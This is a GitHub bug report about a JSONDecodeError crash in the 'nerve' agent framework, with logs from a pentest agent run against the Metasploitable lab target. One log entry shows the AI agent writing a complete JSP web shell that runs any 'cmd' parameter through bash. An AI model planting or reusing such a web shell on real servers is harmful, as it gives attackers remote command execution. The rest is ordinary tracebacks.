[Bug]: JSONDecodeError #68
Description
What happened?
Hey, thanks for an amazing framework. I have been playing with it recently and I have noticed that it crashes sometimes when receiving an output the the llm. I have build simple pentest agent, and from time to time I get this error. It has hard to get the error replicated as I don't know what is triggering it. Here is an example, script output when testing metasploitable:
[12-16-25 09:41:23] INFO 🛠 shell(cat > /tmp/shell.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*"%>
<%
// JSP Web Shell - Command Execution
String cmd = request.getParameter("cmd");
String output = "";
if (cmd != null && !cmd.isEmpty()) {
try {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
output = sb.toString();
} catch (Exception e) {
output = "Error executing command: " + e.getMessage();
}
}
%>
<!DOCTYPE html>
<html>
<head>
<title>Tomcat Web Shell</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; background: #1e1e1e; color: #fff; }
.container { max-width: 900px; margin: 0 auto; }
form { background: #2d2d2d; padding: 15px; border-radius: 5px; margin-bottom: 20px; }
input[type="text"] { width: 70%; padding: 8px; background: #3d3d3d; color: #fff; border: 1px solid #555; }
input[type="submit"] { padding: 8px 20px; background: #007acc; color: white; border: none; border-radius: 3px; cursor: pointer; }
pre { background: #000; color: #0f0; padding: 15px; border-radius: 5px; overflow-x: auto; font-family: 'Courier New', monospace; }
h1 { color: #007acc; }
.cmd { color: #ffd700; font-weight: bold; }
</style>
</head>
<body>
<div class="container">
<h1>⚡ Tomcat JSP Web Shell</h1>
<form method="GET">
<input type="text" name="cmd" placeholder="Enter command to execute" value="<%= cmd != null ? cmd : "whoami" %>"/>
<input type="submit" value="Execute"/>
</form>
<% if (cmd != null) { %>
<h3>Command: <span class="cmd"><%= cmd %></span></h3>
<pre><%= output %></pre>
<% } %>
</div>
</body>
</html>
EOF
)
[12-16-25 09:41:23] INFO ↳ shell -> <class 'str'> (0 bytes) in 0.0051s
[12-16-25 09:41:23] INFO 📊 [step 20] [usage cost=0.0 prompt_tokens=152154 completion_tokens=3620 total_tokens=155774]
[12-16-25 09:41:31] ERROR Exception during agent step: Expecting value: line 1 column 1 (char 0)
[12-16-25 09:41:31] INFO unknown event: timestamp=1765878091.662667 name='error' data={'agent_name': 'pentest', 'error': JSONDecodeError('Expecting value: line 1 column 1 (char 0)')}
[12-16-25 09:41:31] ERROR Traceback (most recent call last):
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/nerve/runtime/agent.py", line 161, in step
usage = await self.generation_engine.step(system_prompt, prompt, extra_tools, extra_message)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/nerve/generation/litellm.py", line 188, in step
await self._process_tool_call(
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/nerve/generation/__init__.py", line 271, in _process_tool_call
tool_call_args = json.loads(args) if isinstance(args, str) else args
^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/json/__init__.py", line 346, in loads
return _default_decoder.decode(s)
^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/json/decoder.py", line 338, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/json/decoder.py", line 356, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
Here is another example :
[12-16-25 09:58:07] ERROR litellm.APIError: APIError: OpenrouterException - peer closed connection without sending complete message body (incomplete chunked read)
[12-16-25 09:58:07] ERROR Traceback (most recent call last):
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpx/_transports/default.py", line 101, in map_httpcore_exceptions
yield
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpx/_transports/default.py", line 127, in __iter__
for part in self._httpcore_stream:
^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/connection_pool.py", line 407, in __iter__
raise exc from None
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/connection_pool.py", line 403, in __iter__
for part in self._stream:
^^^^^^^^^^^^
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/http11.py", line 342, in __iter__
raise exc
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/http11.py", line 334, in __iter__
for chunk in self._connection._receive_response_body(**kwargs):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/http11.py", line 203, in _receive_response_body
event = self._receive_event(timeout=timeout)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/http11.py", line 213, in _receive_event
with map_exceptions({h11.RemoteProtocolError: RemoteProtocolError}):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/contextlib.py", line 158, in __exit__
self.gen.throw(value)
File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_exceptions.py", line 14, in map_exceptions
raise to_exc(exc) from exc
httpcore.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)
Let me know if I can be any more helpful ?
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